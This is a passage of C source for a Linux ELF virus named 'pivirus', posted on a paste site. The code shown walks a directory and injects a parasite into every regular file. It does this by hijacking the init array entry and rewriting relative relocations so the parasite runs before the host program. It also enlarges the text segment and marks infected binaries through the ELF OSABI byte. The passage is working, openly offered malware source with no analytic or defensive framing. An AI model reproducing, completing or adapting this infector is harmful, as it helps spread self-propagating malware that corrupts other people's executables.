  851.         if ((parasite_len + target_elf->hostilefunc.hostile_len) > target_elf->filehole)
  852.             target_elf->elfstructs.ehdr->e_shoff += PAGE_SIZE;
  853.     }
  854.  
  855.     /*
  856.      * - pivirus doesn't alter the original entry point of the target , instead the entry in the init array section that
  857.      *   corresponds to frame dummy function's address is overwritten with the address of the parasite's entry point
  858.      *
  859.      * - for ET_DYN binaries there will be a relocation entry for every entry in the init array section with the r_addend member
  860.      *   of the relocation entry holding the offset of the function in the binary, so the dynamic linker will add the loading
  861.      *   address of the binary to r_addend value and modify the  init array section's entry @ r_offset
  862.      */
  863.     if (target_elf->elfstructs.ehdr->e_type == ET_DYN)
  864.     {
  865.         for (uint64_t i = 0; i < (target_elf->elfstructs.relasz / sizeof(Elf64_Rela)); ++i, ++elfrela)
  866.         {
  867.             if (ELF64_R_TYPE(elfrela->r_info) == R_X86_64_RELATIVE)
  868.             {
  869.                 if (elfrela->r_addend == (Elf64_Sxword)(target_elf->elfstructs.initarray[0]))
  870.                 {
  871.                     elfrela->r_addend = (Elf64_Sxword)(target_code_vaddr + target_code_size);
  872.                     break;
  873.                 }
  874.             }
  875.         }
  876.     }
  877.     *target_elf->elfstructs.initarray = target_code_vaddr + target_code_size;
  878.  
  879.     target_elf->elfstructs.textphdr->p_memsz  += parasite_len + target_elf->hostilefunc.hostile_len;
  880.     target_elf->elfstructs.textphdr->p_filesz += parasite_len + target_elf->hostilefunc.hostile_len;
  881.  
  882.     pi_edit_parasite();
  883.    
  884.     old_osabi = target_elf->elfstructs.ehdr->e_ident[EI_OSABI];
  885.  
  886.     if (pi_create_infected_clone() == PI_OPERATION_ERROR)
  887.         target_elf->elfstructs.ehdr->e_ident[EI_OSABI] = old_osabi; //infection fails so unmark the binary
  888.  
  889. target_cleanup:
  890.     pi_munmap((uint64_t)target_elf->mmap,target_elf->stat.st_size);
  891.     pi_close(target_elf->fd);
  892. }
  893.  
  894. int32_t pi(const char *target_dir)
  895. {
  896.     char dirents_buf[DIRENTS_BUF_SIZE];
  897.     int64_t fd, nread, syscall_ret;
  898.     linux_dirent64_t *dir;
  899.    
  900.     syscall_ret = pi_chdir(target_dir);
  901.     pi_check_syscall_fault(syscall_ret);
  902.  
  903.     fd = pi_open(target_dir,O_RDONLY | O_DIRECTORY,0);
  904.     pi_check_syscall_fault(fd);
  905.  
  906.     if (pi_mm_getpool() == PI_OPERATION_ERROR)
  907.         return PI_OPERATION_ERROR;
  908.  
  909.     for (;;)
  910.     {
  911.         nread = pi_getdents64(fd,dirents_buf,DIRENTS_BUF_SIZE);
  912.         pi_check_syscall_fault(nread);
  913.  
  914.         if (nread == 0)
  915.             break;
  916.  
  917.         for (uint64_t pos = 0, i = 0; pos < nread; ++i, pos += dir->d_reclen)
  918.         {
  919.             dir = (struct linux_dirent64 *)(dirents_buf + pos);
  920.  
  921.             if (dir->d_type == DT_REG)
  922.             {
  923.  
  924.                 target_elf = pi_malloc(sizeof(target_elf_t));
  925.                
  926.                 target_elf->name = dir->d_name;
  927.                
  928.                 pi_infect_target();
  929.  
  930.                 pi_free(target_elf);
  931.             }
  932.         }
  933.     }
  934.  
  935.     return PI_OPERATION_SUCCESS;
  936. }
  937. void _start(start_args_t start_args)
  938. {
  939.     pi(start_args.argv[1]);
  940.     pi_exit(0);
  941. }
  942.  
Tags: Linux virus Elf
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement